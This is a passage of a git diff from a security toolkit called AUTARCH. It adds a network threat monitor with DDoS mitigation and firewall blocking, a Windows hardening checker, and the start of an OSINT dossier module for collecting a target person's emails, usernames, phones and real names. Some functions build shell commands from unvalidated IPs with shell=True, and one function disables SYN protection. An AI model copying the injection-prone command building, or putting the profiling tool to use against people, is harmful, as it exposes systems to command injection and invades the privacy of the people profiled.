'Enabled SYN protection') + return success, "SYN protection enabled" if success else "Failed to enable SYN protection" + + def disable_syn_protection(self): + """Disable SYN flood protection.""" + if _is_win: + success, _ = self.run_cmd( + 'reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters" ' + '/v SynAttackProtect /t REG_DWORD /d 0 /f' + ) + else: + success, _ = self.run_cmd("sudo sysctl -w net.ipv4.tcp_syncookies=0") + return success, "SYN protection disabled" if success else "Failed to disable SYN protection" + + # ==================== DDOS CONFIG ==================== + + def get_ddos_config(self): + """Get DDoS auto-mitigation configuration.""" + if self._ddos_config_path.exists(): + try: + return json.loads(self._ddos_config_path.read_text()) + except json.JSONDecodeError: + pass + return { + 'enabled': False, + 'connection_threshold': 100, + 'syn_threshold': 50, + 'auto_block_top_talkers': True, + 'auto_enable_syn_cookies': True, + } + + def save_ddos_config(self, config): + """Save DDoS auto-mitigation configuration.""" + config['updated'] = datetime.now().isoformat() + self._data_dir.mkdir(parents=True, exist_ok=True) + self._ddos_config_path.write_text(json.dumps(config, indent=2)) + return config + + def auto_mitigate(self): + """Run auto-mitigation based on DDoS detection.""" + config = self.get_ddos_config() + if not config.get('enabled'): + return {'actions': [], 'message': 'Auto-mitigation is disabled'} + + actions = [] + ddos = self.detect_ddos() + + if not ddos['under_attack']: + return {'actions': [], 'message': 'No attack detected'} + + # Auto-block top talkers + if config.get('auto_block_top_talkers'): + threshold = config.get('connection_threshold', 100) + for talker in ddos.get('top_talkers', []): + if talker['connections'] > threshold: + ip = talker['ip'] + success, msg = self.auto_block_ip(ip) + actions.append({'action': 'block_ip', 'target': ip, 'success': success, 'message': msg}) + + # Auto-enable SYN cookies + if config.get('auto_enable_syn_cookies') and ddos.get('syn_count', 0) > config.get('syn_threshold', 50): + status = self.get_syn_protection_status() + if not status.get('enabled'): + success, msg = self.enable_syn_protection() + actions.append({'action': 'enable_syn_protection', 'target': 'system', 'success': success, 'message': msg}) + + return {'actions': actions, 'attack_type': ddos['attack_type']} + + # ==================== MITIGATION HISTORY ==================== + + def get_mitigation_history(self): + """Get log of all mitigation actions.""" + if self._mitigation_log_path.exists(): + try: + return json.loads(self._mitigation_log_path.read_text()) + except json.JSONDecodeError: + pass + return [] + + def log_mitigation(self, action, target, reason, auto=False): + """Log a mitigation action.""" + history = self.get_mitigation_history() + history.append({ + 'timestamp': datetime.now().isoformat(), + 'action': action, + 'target': target, + 'reason': reason, + 'auto': auto, + }) + # Keep last 500 + history = history[-500:] + self._data_dir.mkdir(parents=True, exist_ok=True) + self._mitigation_log_path.write_text(json.dumps(history, indent=2)) + + def clear_mitigation_history(self): + """Clear mitigation history.""" + if self._mitigation_log_path.exists(): + self._mitigation_log_path.write_text('[]') + + # ==================== THREAT SCORE (ENHANCED) ==================== + + def calculate_threat_score(self): + """Calculate composite threat score (0-100). Higher = more threats.""" + score = 0 + details = [] + + # Port scan indicators + scans = self.check_port_scan_indicators() + if scans: + score += min(len(scans) * 15, 30) + details.append(f"{len(scans)} port scan indicator(s)") + + # Suspicious processes + sus_procs = self.get_suspicious_processes() + if sus_procs: + score += min(len(sus_procs) * 20, 40) + details.append(f"{len(sus_procs)} suspicious process(es)") + + # Failed logins + failed = self.get_recent_failed_logins(minutes=5) + if len(failed) > 5: + score += min(len(failed) * 2, 20) + details.append(f"{len(failed)} failed logins in 5 min") + + # Active connections from blocklist + blocklist = self.get_blocklist() + connections = self.get_connections() + blocked_active = [c for c in connections if c.get('remote_addr') in blocklist] + if blocked_active: + score += min(len(blocked_active) * 10, 30) + details.append(f"{len(blocked_active)} active connection(s) from blocklisted IPs") + + # ARP spoofing + arp_alerts = self.check_arp_spoofing() + if arp_alerts: + score += min(len(arp_alerts) * 20, 30) + details.append(f"{len(arp_alerts)} ARP spoof alert(s)") + + # New listening ports + new_ports = self.check_new_listening_ports() + if new_ports: + score += min(len(new_ports) * 10, 20) + details.append(f"{len(new_ports)} new listening port(s)") + + # DDoS + ddos = self.detect_ddos() + if ddos.get('under_attack'): + score += 30 + details.append(f"DDoS detected: {ddos.get('attack_type', 'unknown')}") + + return { + 'score': min(score, 100), + 'level': 'CRITICAL' if score >= 70 else 'HIGH' if score >= 40 else 'MEDIUM' if score >= 15 else 'LOW', + 'details': details, + } + + # ==================== COUNTER-ATTACK ==================== + + def auto_block_ip(self, ip): + """Block an IP address using platform-appropriate firewall.""" + if _is_win: + rule_name = f"AUTARCH_Block_{ip}" + success, output = self.run_cmd( + f'netsh advfirewall firewall add rule name="{rule_name}" ' + f'dir=in action=block remoteip={ip}' + ) + else: + success, output = self.run_cmd(f"sudo iptables -A INPUT -s {ip} -j DROP") + + if success: + self.add_to_blocklist(ip) + return success, f"Blocked {ip}" if success else f"Failed to block {ip}" + + def kill_process(self, pid): + """Kill a process by PID.""" + pid = int(pid) + if _is_win: + success, output = self.run_cmd(f"taskkill /F /PID {pid}") + else: + success, output = self.run_cmd(f"kill -9 {pid}") + return success, f"Killed PID {pid}" if success else f"Failed to kill PID {pid}" + + def block_port(self, port, direction='in'): + """Block a port using platform-appropriate firewall.""" + port = int(port) + if _is_win: + rule_name = f"AUTARCH_BlockPort_{port}_{direction}" + success, output = self.run_cmd( + f'netsh advfirewall firewall add rule name="{rule_name}" ' + f'dir={direction} action=block protocol=tcp localport={port}' + ) + else: + chain = 'INPUT' if direction == 'in' else 'OUTPUT' + success, output = self.run_cmd( + f"sudo iptables -A {chain} -p tcp --dport {port} -j DROP" + ) + return success, f"Blocked port {port} ({direction})" if success else f"Failed to block port {port}" + + # ==================== BLOCKLIST ==================== + + def get_blocklist(self): + """Get persistent IP blocklist.""" + if self._blocklist_path.exists(): + try: + data = json.loads(self._blocklist_path.read_text()) + return data.get('blocked_ips', []) + except (json.JSONDecodeError, KeyError): + pass + return [] + + def add_to_blocklist(self, ip): + """Add IP to persistent blocklist.""" + blocklist = self.get_blocklist() + if ip not in blocklist: + blocklist.append(ip) + self._blocklist_path.parent.mkdir(parents=True, exist_ok=True) + self._blocklist_path.write_text(json.dumps({ + 'blocked_ips': blocklist, + 'updated': datetime.now().isoformat(), + }, indent=2)) + return blocklist + + def remove_from_blocklist(self, ip): + """Remove IP from persistent blocklist.""" + blocklist = self.get_blocklist() + if ip in blocklist: + blocklist.remove(ip) + self._blocklist_path.write_text(json.dumps({ + 'blocked_ips': blocklist, + 'updated': datetime.now().isoformat(), + }, indent=2)) + return blocklist + + def generate_threat_report(self): + """Generate comprehensive threat report.""" + return { + 'timestamp': datetime.now().isoformat(), + 'threat_score': self.calculate_threat_score(), + 'scan_indicators': self.check_port_scan_indicators(), + 'suspicious_processes': self.get_suspicious_processes(), + 'recent_failed_logins': self.get_recent_failed_logins(minutes=10), + 'blocklist': self.get_blocklist(), + 'connection_count': len(self.get_connections()), + } + + # ==================== SSE STREAM ==================== + + def monitor_stream(self): + """Generator for SSE streaming — yields threat data every 3 seconds.""" + # Immediate heartbeat so the browser knows the connection is live + yield f"data: {json.dumps({'type': 'heartbeat', 'timestamp': datetime.now().isoformat()})}\n\n" + + while True: + try: + # Fetch shared data ONCE per iteration to avoid redundant subprocess calls + connections = self.get_connections() + bw = self.get_bandwidth() + arp = self.check_arp_spoofing() + new_ports = self.check_new_listening_ports() + + # DDoS detection uses connections + bandwidth (pass cached data) + ddos = self._detect_ddos_cached(connections, bw) + + # Threat score using cached data + threat_score = self._calculate_threat_score_cached(connections, bw, arp, new_ports, ddos) + + # Connection rate tracking + now = time.time() + self._connection_rate_history.append((now, len(connections))) + cutoff = now - 300 + self._connection_rate_history = [(t, c) for t, c in self._connection_rate_history if t > cutoff] + history = self._connection_rate_history + one_min = [c for t, c in history if t > now - 60] + avg_1m = sum(one_min) / max(len(one_min), 1) + avg_5m = sum(c for _, c in history) / max(len(history), 1) + peak = max((c for _, c in history), default=0) + + total_rx = sum(i.get('rx_delta', 0) for i in bw) + total_tx = sum(i.get('tx_delta', 0) for i in bw) + + data = { + 'timestamp': datetime.now().isoformat(), + 'threat_score': threat_score, + 'connection_count': len(connections), + 'failed_logins': 0, # Expensive — fetched on-demand via Threats tab + 'suspicious_processes': 0, # Expensive — fetched on-demand via Threats tab + 'scan_indicators': 0, + 'bandwidth': { + 'rx_delta': total_rx, 'tx_delta': total_tx, + 'rx_mbps': round(total_rx / 1_000_000, 2), + 'tx_mbps': round(total_tx / 1_000_000, 2), + }, + 'arp_alerts': len(arp), + 'new_ports': len(new_ports), + 'connection_rate': { + 'current_rate': len(connections), + 'avg_rate_1m': round(avg_1m, 1), + 'avg_rate_5m': round(avg_5m, 1), + 'peak_rate': peak, + }, + 'ddos': { + 'under_attack': ddos['under_attack'], + 'attack_type': ddos['attack_type'], + 'syn_count': ddos['syn_count'], + }, + } + + if new_ports: + data['new_port_details'] = [{'port': p['port'], 'process': p.get('process', '')} for p in new_ports] + + # Scan indicators from cached connections (no extra subprocess call) + ip_connections = {} + for c in connections: + rip = c.get('remote_addr', '') + if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + ip_connections.setdefault(rip, []).append(c) + scan_count = sum(1 for ip, conns in ip_connections.items() + if len(set(c['local_port'] for c in conns)) > 10) + data['scan_indicators'] = scan_count + + yield f"data: {json.dumps(data)}\n\n" + time.sleep(3) + except GeneratorExit: + break + except Exception: + time.sleep(3) + + def _detect_ddos_cached(self, connections, bw): + """DDoS detection using pre-fetched connections and bandwidth data.""" + indicators = [] + attack_type = 'none' + under_attack = False + + ip_conns = defaultdict(list) + for c in connections: + rip = c.get('remote_addr', '') + if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + ip_conns[rip].append(c) + + syn_count = sum(1 for c in connections + if 'SYN' in str(c.get('state', '')).upper() + or 'TimeWait' in str(c.get('state', ''))) + if syn_count > 50: + under_attack = True + attack_type = 'syn_flood' + indicators.append(f"{syn_count} SYN/half-open connections detected") + + for ip, conns in ip_conns.items(): + if len(conns) > 50: + under_attack = True + if attack_type == 'none': + attack_type = 'connection_flood' + indicators.append(f"{ip}: {len(conns)} connections") + + for iface in bw: + rx_mbps = iface.get('rx_delta', 0) / 1_000_000 + if rx_mbps > 100: + under_attack = True + if attack_type == 'none': + attack_type = 'bandwidth_spike' + indicators.append(f"{iface['interface']}: {rx_mbps:.1f} MB/s inbound") + + return { + 'under_attack': under_attack, + 'attack_type': attack_type, + 'severity': 'CRITICAL' if under_attack else 'LOW', + 'indicators': indicators, + 'total_connections': len(connections), + 'syn_count': syn_count, + } + + def _calculate_threat_score_cached(self, connections, bw, arp, new_ports, ddos): + """Lightweight threat score using pre-fetched data (no extra subprocess calls).""" + score = 0 + details = [] + + # Port scan indicators from cached connections + ip_connections = {} + for c in connections: + rip = c.get('remote_addr', '') + if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'): + ip_connections.setdefault(rip, []).append(c) + scans = sum(1 for ip, conns in ip_connections.items() + if len(set(c['local_port'] for c in conns)) > 10) + if scans: + score += min(scans * 15, 30) + details.append(f"{scans} port scan indicator(s)") + + # Active connections from blocklist + blocklist = self.get_blocklist() + blocked_active = [c for c in connections if c.get('remote_addr') in blocklist] + if blocked_active: + score += min(len(blocked_active) * 10, 30) + details.append(f"{len(blocked_active)} active connection(s) from blocklisted IPs") + + # ARP spoofing + if arp: + score += min(len(arp) * 20, 30) + details.append(f"{len(arp)} ARP spoof alert(s)") + + # New listening ports + if new_ports: + score += min(len(new_ports) * 10, 20) + details.append(f"{len(new_ports)} new listening port(s)") + + # DDoS + if ddos.get('under_attack'): + score += 30 + details.append(f"DDoS detected: {ddos.get('attack_type', 'unknown')}") + + return { + 'score': min(score, 100), + 'level': 'CRITICAL' if score >= 70 else 'HIGH' if score >= 40 else 'MEDIUM' if score >= 15 else 'LOW', + 'details': details, + } + + +# ==================== CLI MENU ==================== + +def run(): + """CLI entry point.""" + from core.banner import Colors, clear_screen, display_banner + clear_screen() + display_banner() + print(f"\n{Colors.BOLD}{Colors.PURPLE}Threat Monitor{Colors.RESET}\n") + + m = ThreatMonitor() + report = m.generate_threat_report() + + score = report['threat_score'] + color = Colors.RED if score['score'] >= 40 else Colors.YELLOW if score['score'] >= 15 else Colors.GREEN + print(f"{color}Threat Score: {score['score']}/100 ({score['level']}){Colors.RESET}") + if score['details']: + for d in score['details']: + print(f" - {d}") + + print(f"\n{Colors.CYAN}Active connections: {report['connection_count']}{Colors.RESET}") + print(f"{Colors.CYAN}Failed logins (10m): {len(report['recent_failed_logins'])}{Colors.RESET}") + print(f"{Colors.CYAN}Suspicious processes: {len(report['suspicious_processes'])}{Colors.RESET}") + print(f"{Colors.CYAN}Scan indicators: {len(report['scan_indicators'])}{Colors.RESET}") + print(f"{Colors.CYAN}Blocklisted IPs: {len(report['blocklist'])}{Colors.RESET}") + + if report['suspicious_processes']: + print(f"\n{Colors.RED}Suspicious Processes:{Colors.RESET}") + for p in report['suspicious_processes']: + print(f" PID {p['pid']} — {p['name']}: {p['reason']}") + + if report['scan_indicators']: + print(f"\n{Colors.RED}Port Scan Indicators:{Colors.RESET}") + for s in report['scan_indicators']: + print(f" {s['ip']}: {s['detail']}") + + input("\nPress Enter to continue...") + + +# ==================== SINGLETON ==================== + +_threat_monitor_instance = None + + +def get_threat_monitor(): + """Get or create singleton ThreatMonitor instance (preserves in-memory state).""" + global _threat_monitor_instance + if _threat_monitor_instance is None: + _threat_monitor_instance = ThreatMonitor() + return _threat_monitor_instance diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/defender_windows.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/defender_windows.py new file mode 100644 index 0000000..5aca8b7 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/defender_windows.py @@ -0,0 +1,372 @@ +""" +AUTARCH Windows Defender Module +Windows-native security posture assessment + +Checks Windows system configuration for security best practices. +""" + +import os +import sys +import subprocess +import re +import json +from pathlib import Path +from datetime import datetime + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +# Module metadata +DESCRIPTION = "Windows system hardening & security checks" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + + +class WindowsDefender: + """Windows security checker.""" + + def __init__(self): + self.results = [] + + def check(self, name: str, passed: bool, details: str = ""): + """Record a check result.""" + self.results.append({"name": name, "passed": passed, "details": details}) + + def run_cmd(self, cmd: str, timeout=15) -> tuple: + """Run command and return (success, output).""" + try: + result = subprocess.run(cmd, shell=True, capture_output=True, + text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except Exception: + return False, "" + + def run_ps(self, ps_command: str, timeout=15) -> tuple: + """Run a PowerShell command and return (success, output).""" + cmd = f'powershell -NoProfile -ExecutionPolicy Bypass -Command "{ps_command}"' + return self.run_cmd(cmd, timeout=timeout) + + # ==================== SECURITY CHECKS ==================== + + def check_firewall(self): + """Check Windows Firewall status for all profiles.""" + success, output = self.run_cmd("netsh advfirewall show allprofiles state") + if success: + profiles_on = output.lower().count("on") + profiles_off = output.lower().count("off") + if profiles_off > 0: + self.check("Windows Firewall", False, + f"{profiles_off} profile(s) disabled") + else: + self.check("Windows Firewall", True, + f"All {profiles_on} profiles enabled") + else: + self.check("Windows Firewall", False, "Could not query firewall state") + + def check_ssh_config(self): + """Check Windows OpenSSH configuration.""" + success, output = self.run_ps( + "Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH.Server*' " + "| Select-Object -ExpandProperty State" + ) + if not success or "Installed" not in output: + self.check("SSH Config", True, "OpenSSH Server not installed (good)") + return + + sshd_config = Path(os.environ.get('ProgramData', 'C:\\ProgramData')) / 'ssh' / 'sshd_config' + if not sshd_config.exists(): + self.check("SSH Config", False, "OpenSSH installed but sshd_config not found") + return + + content = sshd_config.read_text(errors='ignore') + + if "PermitRootLogin no" in content or "PermitRootLogin prohibit-password" in content: + self.check("SSH Root Login Disabled", True) + else: + self.check("SSH Root Login Disabled", False, "Root login may be enabled") + + if "PasswordAuthentication no" in content: + self.check("SSH Password Auth Disabled", True) + else: + self.check("SSH Password Auth Disabled", False, + "Consider using key-based auth only") + + def check_open_ports(self): + """Check for high-risk listening ports on Windows.""" + success, output = self.run_ps( + "Get-NetTCPConnection -State Listen -ErrorAction SilentlyContinue " + "| Select-Object LocalPort, OwningProcess | Format-Table -AutoSize" + ) + if not success: + success, output = self.run_cmd("netstat -ano | findstr LISTENING") + + if success: + high_risk = [] + if ':23 ' in output or '\t23\t' in output: + high_risk.append("23 (Telnet)") + if ':21 ' in output or '\t21\t' in output: + high_risk.append("21 (FTP)") + if ':3389 ' in output or '\t3389\t' in output: + high_risk.append("3389 (RDP)") + if ':445 ' in output or '\t445\t' in output: + high_risk.append("445 (SMB)") + if ':135 ' in output or '\t135\t' in output: + high_risk.append("135 (RPC)") + + lines = [l for l in output.split('\n') if l.strip()] + if high_risk: + self.check("High-Risk Ports", False, + f"Open: {', '.join(high_risk)}") + else: + self.check("High-Risk Ports", True, + f"{len(lines)} services listening, no high-risk ports") + else: + self.check("High-Risk Ports", True, "Could not enumerate ports") + + def check_updates(self): + """Check Windows update status.""" + success, output = self.run_ps( + "Get-HotFix | Sort-Object InstalledOn -Descending " + "| Select-Object -First 1 -ExpandProperty InstalledOn" + ) + if success and output.strip(): + self.check("System Updates", True, + f"Last update installed: {output.strip()}") + else: + success, output = self.run_ps("(Get-HotFix).Count") + if success and output.strip(): + self.check("System Updates", True, + f"{output.strip()} hotfixes installed") + else: + self.check("System Updates", False, "Could not query update status") + + def check_users(self): + """Check Windows user security.""" + # Admin accounts + success, output = self.run_ps( + "Get-LocalGroupMember -Group 'Administrators' -ErrorAction SilentlyContinue " + "| Select-Object -ExpandProperty Name" + ) + if success: + admins = [u.strip() for u in output.split('\n') if u.strip()] + self.check("Admin Accounts", len(admins) <= 2, + f"Admin users: {', '.join(admins)}") + + # Enabled accounts with no password required + success, output = self.run_ps( + "Get-LocalUser | Where-Object {$_.Enabled -eq $true -and $_.PasswordRequired -eq $false} " + "| Select-Object -ExpandProperty Name" + ) + if success: + no_pw = [u.strip() for u in output.split('\n') if u.strip()] + self.check("Password Required", len(no_pw) == 0, + f"No password required: {', '.join(no_pw)}" if no_pw else "All accounts require passwords") + + # Guest account + success, output = self.run_ps("(Get-LocalUser -Name 'Guest' -ErrorAction SilentlyContinue).Enabled") + if success: + guest_enabled = output.strip().lower() == 'true' + self.check("Guest Account Disabled", not guest_enabled, + "Guest account is enabled" if guest_enabled else "Guest account disabled") + + def check_permissions(self): + """Check critical Windows file/folder permissions.""" + critical_paths = [ + (os.environ.get('SystemRoot', 'C:\\Windows') + '\\System32\\config', "SAM Registry Hive"), + (os.environ.get('ProgramData', 'C:\\ProgramData') + '\\ssh', "SSH Config Dir"), + ] + for filepath, label in critical_paths: + if os.path.exists(filepath): + success, output = self.run_cmd(f'icacls "{filepath}"') + if success: + has_everyone_full = 'Everyone:(F)' in output or 'Everyone:(OI)(CI)(F)' in output + self.check(f"Permissions: {label}", not has_everyone_full, + f"Everyone has Full Control on {filepath}" if has_everyone_full else "Restricted") + + def check_services(self): + """Check for dangerous or unnecessary Windows services.""" + dangerous = { + "RemoteRegistry": "Remote Registry", + "TlntSvr": "Telnet Server", + "SNMP": "SNMP Service", + "W3SVC": "IIS Web Server", + "FTPSVC": "FTP Server", + "SharedAccess": "Internet Connection Sharing", + } + running = [] + for svc_name, label in dangerous.items(): + success, output = self.run_ps( + f"(Get-Service -Name '{svc_name}' -ErrorAction SilentlyContinue).Status" + ) + if success and 'Running' in output: + running.append(label) + + self.check("Dangerous Services", len(running) == 0, + f"Running: {', '.join(running)}" if running else "No dangerous services running") + + def check_defender(self): + """Check Windows Defender antivirus status.""" + success, output = self.run_ps( + "Get-MpComputerStatus -ErrorAction SilentlyContinue " + "| Select-Object AntivirusEnabled, RealTimeProtectionEnabled, " + "AntivirusSignatureLastUpdated | Format-List" + ) + if success: + av_on = re.search(r'AntivirusEnabled\s*:\s*True', output) + rt_on = re.search(r'RealTimeProtectionEnabled\s*:\s*True', output) + + if av_on and rt_on: + sig_match = re.search(r'AntivirusSignatureLastUpdated\s*:\s*(.+)', output) + sig_date = sig_match.group(1).strip() if sig_match else "Unknown" + self.check("Windows Defender", True, + f"AV enabled, real-time protection on. Signatures: {sig_date}") + elif av_on: + self.check("Windows Defender", False, + "AV enabled but real-time protection is OFF") + else: + self.check("Windows Defender", False, "Windows Defender is disabled") + else: + self.check("Windows Defender", False, "Could not query Defender status") + + def check_uac(self): + """Check UAC (User Account Control) status.""" + success, output = self.run_ps( + "(Get-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' " + "-Name EnableLUA -ErrorAction SilentlyContinue).EnableLUA" + ) + if success: + enabled = output.strip() == '1' + self.check("UAC Enabled", enabled, + "UAC is enabled" if enabled else "UAC is DISABLED — critical security risk") + + success, output = self.run_ps( + "(Get-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' " + "-Name ConsentPromptBehaviorAdmin -ErrorAction SilentlyContinue).ConsentPromptBehaviorAdmin" + ) + if success and output.strip().isdigit(): + level = int(output.strip()) + level_names = { + 0: "Never notify (DANGEROUS)", + 1: "Prompt on secure desktop (no dimming)", + 2: "Prompt on secure desktop", + 3: "Prompt for credentials", + 4: "Prompt for consent", + 5: "Prompt for consent (default)" + } + desc = level_names.get(level, f"Unknown level: {level}") + self.check("UAC Prompt Level", level >= 2, desc) + + # ==================== FIREWALL MANAGEMENT ==================== + + def get_firewall_rules(self): + """Get all Windows Firewall inbound rules.""" + success, output = self.run_cmd( + "netsh advfirewall firewall show rule name=all dir=in" + ) + return success, output + + def block_ip(self, ip): + """Block an IP via Windows Firewall.""" + rule_name = f"AUTARCH_Block_{ip}" + success, output = self.run_cmd( + f'netsh advfirewall firewall add rule name="{rule_name}" ' + f'dir=in action=block remoteip={ip}' + ) + return success, f"Blocked {ip}" if success else f"Failed to block {ip} (need admin privileges)" + + def unblock_ip(self, ip): + """Unblock an IP via Windows Firewall.""" + rule_name = f"AUTARCH_Block_{ip}" + success, output = self.run_cmd( + f'netsh advfirewall firewall delete rule name="{rule_name}"' + ) + return success, f"Unblocked {ip}" if success else f"Failed to unblock {ip}" + + # ==================== EVENT LOG ANALYSIS ==================== + + def analyze_event_logs(self): + """Analyze Windows Security and System event logs.""" + # Failed logins (Event ID 4625) + success, output = self.run_ps( + "Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} " + "-MaxEvents 500 -ErrorAction SilentlyContinue | " + "Select-Object TimeCreated, @{N='IP';E={$_.Properties[19].Value}}, " + "@{N='User';E={$_.Properties[5].Value}} | " + "Group-Object IP | Sort-Object Count -Descending | " + "Select-Object Count, Name, @{N='Users';E={($_.Group.User | Select-Object -Unique) -join ','}} | " + "ConvertTo-Json" + ) + auth_results = [] + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for entry in data: + auth_results.append({ + 'ip': entry.get('Name', 'Unknown'), + 'count': entry.get('Count', 0), + 'usernames': (entry.get('Users', '') or '').split(','), + }) + except json.JSONDecodeError: + pass + + # System warnings/errors + success, output = self.run_ps( + "Get-WinEvent -FilterHashtable @{LogName='System'; Level=1,2,3} " + "-MaxEvents 50 -ErrorAction SilentlyContinue | " + "Select-Object TimeCreated, Id, LevelDisplayName, Message | " + "ConvertTo-Json" + ) + system_results = [] + if success and output.strip(): + try: + data = json.loads(output) + if isinstance(data, dict): + data = [data] + for entry in data[:20]: + system_results.append({ + 'type': entry.get('LevelDisplayName', 'Warning'), + 'id': entry.get('Id', 0), + 'time': str(entry.get('TimeCreated', '')), + 'detail': (entry.get('Message', '') or '')[:200], + 'severity': 'HIGH' if entry.get('LevelDisplayName') in ('Critical', 'Error') else 'MEDIUM', + }) + except json.JSONDecodeError: + pass + + return auth_results, system_results + + +# ==================== CLI MENU ==================== + +def run(): + """CLI entry point.""" + from core.banner import Colors, clear_screen, display_banner + clear_screen() + display_banner() + print(f"\n{Colors.BOLD}{Colors.BLUE}Windows System Defense{Colors.RESET}\n") + + d = WindowsDefender() + print(f"{Colors.CYAN}Running Windows security audit...{Colors.RESET}\n") + + d.check_firewall() + d.check_ssh_config() + d.check_open_ports() + d.check_updates() + d.check_users() + d.check_permissions() + d.check_services() + d.check_defender() + d.check_uac() + + passed = sum(1 for r in d.results if r['passed']) + total = len(d.results) + score = int((passed / total) * 100) if total > 0 else 0 + + print(f"\n{'=' * 50}") + color = Colors.GREEN if score >= 80 else Colors.YELLOW if score >= 50 else Colors.RED + print(f"{color}Security Score: {score}% ({passed}/{total} checks passed){Colors.RESET}") + print(f"{'=' * 50}\n") + + input("Press Enter to continue...") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/dossier.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/dossier.py new file mode 100644 index 0000000..acdbf97 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/dossier.py @@ -0,0 +1,803 @@ +""" +AUTARCH Dossier Module +Manage and correlate OSINT investigation data + +Create dossiers to associate related OSINT findings like email searches, +username scans, phone lookups, and custom notes. +""" + +import os +import sys +import json +import glob +from pathlib import Path +from datetime import datetime +from typing import Dict, List, Optional + +# Module metadata +NAME = "Dossier" +DESCRIPTION = "Manage OSINT investigation dossiers" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "osint" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + + +class DossierManager: + """Manage OSINT investigation dossiers.""" + + def __init__(self): + from core.paths import get_dossiers_dir + self.dossier_dir = get_dossiers_dir() + self.dossier_dir.mkdir(exist_ok=True) + self.current_dossier = None + self.current_dossier_path = None + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + # ==================== DOSSIER OPERATIONS ==================== + + def _generate_dossier_id(self, name: str) -> str: + """Generate a unique dossier ID from name.""" + # Sanitize name for filename + safe_name = "".join(c if c.isalnum() or c in "-_" else "_" for c in name.lower()) + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") + return f"{safe_name}_{timestamp}" + + def _get_dossier_path(self, dossier_id: str) -> Path: + """Get path to dossier file.""" + return self.dossier_dir / f"{dossier_id}.json" + + def _create_empty_dossier(self, name: str, subject: str = "", notes: str = "") -> Dict: + """Create a new empty dossier structure.""" + return { + "meta": { + "name": name, + "subject": subject, + "created": datetime.now().isoformat(), + "modified": datetime.now().isoformat(), + "notes": notes, + }, + "identifiers": { + "emails": [], + "usernames": [], + "phones": [], + "real_names": [], + "aliases": [], + }, + "results": { + "email_searches": [], + "username_searches": [], + "phone_searches": [], + }, + "profiles": [], + "custom_notes": [], + } + + def save_dossier(self, dossier: Dict, path: Path) -> bool: + """Save dossier to file.""" + try: + dossier["meta"]["modified"] = datetime.now().isoformat() + with open(path, 'w') as f: + json.dump(dossier, f, indent=2) + return True + except Exception as e: + self.print_status(f"Failed to save dossier: {e}", "error") + return False + + def load_dossier(self, path: Path) -> Optional[Dict]: + """Load dossier from file.""" + try: + with open(path, 'r') as f: + return json.load(f) + except Exception as e: + self.print_status(f"Failed to load dossier: {e}", "error") + return None + + def list_dossiers(self) -> List[Dict]: + """List all saved dossiers.""" + dossiers = [] + for file in self.dossier_dir.glob("*.json"): + try: + with open(file, 'r') as f: + data = json.load(f) + dossiers.append({ + "path": file, + "id": file.stem, + "name": data.get("meta", {}).get("name", "Unknown"), + "subject": data.get("meta", {}).get("subject", ""), + "created": data.get("meta", {}).get("created", ""), + "modified": data.get("meta", {}).get("modified", ""), + "profiles_count": len(data.get("profiles", [])), + "identifiers_count": sum(len(v) for v in data.get("identifiers", {}).values()), + }) + except: + continue + return sorted(dossiers, key=lambda x: x.get("modified", ""), reverse=True) + + # ==================== UI METHODS ==================== + + def create_new_dossier(self): + """Interactive dossier creation.""" + print(f"\n{Colors.BOLD}Create New Dossier{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + name = input(f"{Colors.WHITE}Dossier name: {Colors.RESET}").strip() + if not name: + self.print_status("Dossier name is required", "error") + return + + subject = input(f"{Colors.WHITE}Subject (target name/identifier): {Colors.RESET}").strip() + notes = input(f"{Colors.WHITE}Initial notes (optional): {Colors.RESET}").strip() + + # Create dossier + dossier_id = self._generate_dossier_id(name) + dossier_path = self._get_dossier_path(dossier_id) + dossier = self._create_empty_dossier(name, subject, notes) + + # Prompt for initial identifiers + print(f"\n{Colors.CYAN}Add initial identifiers (press Enter to skip):{Colors.RESET}") + + emails = input(f"{Colors.WHITE} Email(s) (comma-separated): {Colors.RESET}").strip() + if emails: + dossier["identifiers"]["emails"] = [e.strip() for e in emails.split(",") if e.strip()] + + usernames = input(f"{Colors.WHITE} Username(s) (comma-separated): {Colors.RESET}").strip() + if usernames: + dossier["identifiers"]["usernames"] = [u.strip() for u in usernames.split(",") if u.strip()] + + phones = input(f"{Colors.WHITE} Phone(s) (comma-separated): {Colors.RESET}").strip() + if phones: + dossier["identifiers"]["phones"] = [p.strip() for p in phones.split(",") if p.strip()] + + real_names = input(f"{Colors.WHITE} Real name(s) (comma-separated): {Colors.RESET}").strip() + if real_names: + dossier["identifiers"]["real_names"] = [n.strip() for n in real_names.split(",") if n.strip()] + + # Save dossier + if self.save_dossier(dossier, dossier_path): + self.print_status(f"Dossier created: {dossier_id}", "success") + self.current_dossier = dossier + 